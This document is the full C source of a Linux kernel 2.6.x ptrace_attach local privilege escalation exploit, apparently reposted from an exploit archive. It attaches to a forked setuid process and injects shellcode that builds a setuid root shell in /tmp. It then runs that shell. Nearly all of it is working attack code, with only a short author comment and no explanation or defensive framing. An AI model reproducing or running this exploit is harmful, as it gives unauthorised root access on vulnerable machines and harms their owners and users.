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Linux Kernel 2.6.x ptrace_attach Local Privilege Escalation Exploit
=================================================================== Linux Kernel 2.6.x ptrace_attach Local Privilege Escalation Exploit =================================================================== /* ptrace_attach privilege escalation exploit by s0m3b0dy [*] tested on Gentoo 2.6.29rc1 grataz: Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo... */ #include <grp.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <paths.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/param.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/socket.h> char shellcode[] = "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99" "\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff" "echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;"; struct user_regs_struct322 { unsigned long ebx, ecx, edx, esi, edi, ebp, eax; unsigned short ds, __ds, es, __es; unsigned short fs, __fs, gs, __gs; unsigned long orig_eax, eip; unsigned short cs, __cs; unsigned long eflags, esp; unsigned short ss, __ss; }; main() { struct user_regs_struct322 regs; struct stat buf; int i,o; unsigned long * src; unsigned long * dst; char *env[2]; env[0]="/usr/bin/gpasswd"; // some suid file env[1]=0; if((o=fork()) == 0) { execve(env[0],env,0); exit(0); } if(ptrace(PTRACE_ATTACH,o,0,0)==-1) { printf("\n[-] Attach\n"); exit(0); } wait((int *)0); if (ptrace(PTRACE_GETREGS, o, NULL, ®s) == -1){ printf("\n[-] read registers\n"); exit(0); } printf( "[+] EIP - 0x%08lx\n", regs.eip); dst= (unsigned long *) regs.eip; src = (unsigned long *) shellcode; for(i=0;i<sizeof(shellcode) -1;i+=4) if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == -1){ printf("\n[-] write shellcode\n"); exit(0); } ptrace(PTRACE_CONT, o, 0, 0); ptrace(PTRACE_DETACH,o,0,0); printf("[+] Waiting for root...\n"); sleep(2); if(!stat("/tmp/.exp",&buf)) { printf("[+] Executing suid shell /tmp/.exp...\n"); execv("/tmp/.exp",0); } else { printf("[-] Damn no r00t here :(\n"); } return 0; } # 0day.today [2024-12-25] #